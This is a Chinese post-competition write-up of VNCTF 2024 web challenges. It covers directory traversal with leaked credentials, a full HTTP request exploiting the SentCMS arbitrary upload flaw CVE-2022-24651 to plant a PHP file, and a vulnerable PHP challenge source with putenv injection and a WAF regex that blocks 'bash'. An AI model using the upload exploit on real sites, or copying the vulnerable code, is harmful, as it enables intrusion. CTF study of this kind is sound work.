2024VNCTF–赛后复现
Web
Checkin
源码里能找到一串编码,控制台运行一下出
CutePath
git1hub发现安全性问题,导致目录穿越

目录穿越看到flag

一级级目录测试,发现home/ming发现用户名和密码

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 | admin:gdgm.edu.cn@M1n9K1n9P@as
 | 
登录试试,发现登录成功
发现多了重命名功能
尝试发现修改为目录名,文件会移动到相应文件夹
前面已经发现flag在../../../flag/flag下
重命名为../../../home/ming/share_main/flag.txt,之后回到主页面,访问flag.txt

TrySent

开题sentcms,搜索对应漏洞,发现是CVE-2022-24651
先注册一个用户登录上
任意文件上传漏洞,没有文件路径,我们自己构造
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 | POST /user/upload/upload HTTP/1.1Host: 063639ae-4d73-4854-bdea-d2f03428929e.vnctf2024.manqiu.top
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: PHPSESSID=c15a15c6bfe73b1ce40782d52a518fdf
 Upgrade-Insecure-Requests: 1
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
 Accept: */*
 Origin: https://info.ziwugu.vip/
 Sec-Fetch-Site: same-origin
 Sec-Fetch-Mode: cors
 Sec-Fetch-Dest: empty
 Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
 Connection: close
 Content-Length: 752
 
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz
 Content-Disposition: form-data; name="id"
 
 WU_FILE_0
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz
 Content-Disposition: form-data; name="name"
 
 test.jpg
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz
 Content-Disposition: form-data; name="type"
 
 image/jpeg
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz
 Content-Disposition: form-data; name="lastModifiedDate"
 
 Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz
 Content-Disposition: form-data; name="size"
 
 164264
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz
 Content-Disposition: form-data; name="file"; filename="test.php"
 Content-Type: image/jpeg
 
 JFIF
 <?php phpinfo();?>
 
 ------WebKitFormBoundaryrhx2kYAMYDqoTThz--
 
 | 

发现上传成功
访问
http://063639ae-4d73-4854-bdea-d2f03428929e.vnctf2024.manqiu.top/uploads/image/a7/4146e2567ce325c14e7bd166141971.php
vnctf{7afe6d06-61c6-41f7-a448-36b4e954a889} 
codefever_again
复现的时候环境打不开了,听说出题人吧exp放在附件里了啊?尊嘟假嘟

givenphp
来源:https://www.cnblogs.com/gxngxngxn/p/18018284	
whoami命令劫持
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 |  <?phphighlight_file(__FILE__);
 if(isset($_POST['upload'])){
 handleFileUpload($_FILES['file']);
 }
 
 if(isset($_GET['challenge'])){
 waf();
 $value=$_GET['value'];
 $key=$_GET['key'];
 $func=create_function("","putenv('$key=$value');");
 if($func==$_GET['guess']){
 $func();
 system("whoami");
 }
 }
 function waf()
 {
 if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
 die("evil input!!!");
 }
 }
 function handleFileUpload($file)
 {
 $uploadDirectory = '/tmp/';
 
 if ($file['error'] !== UPLOAD_ERR_OK) {
 echo '文件上传失败。';
 return;
 }
 $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
 
 $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
 $destination = $uploadDirectory . $newFileName;
 if (move_uploaded_file($file['tmp_name'], $destination)) {
 echo $destination;
 } else {
 echo '文件移动失败。';
 }
 }
 
 
 |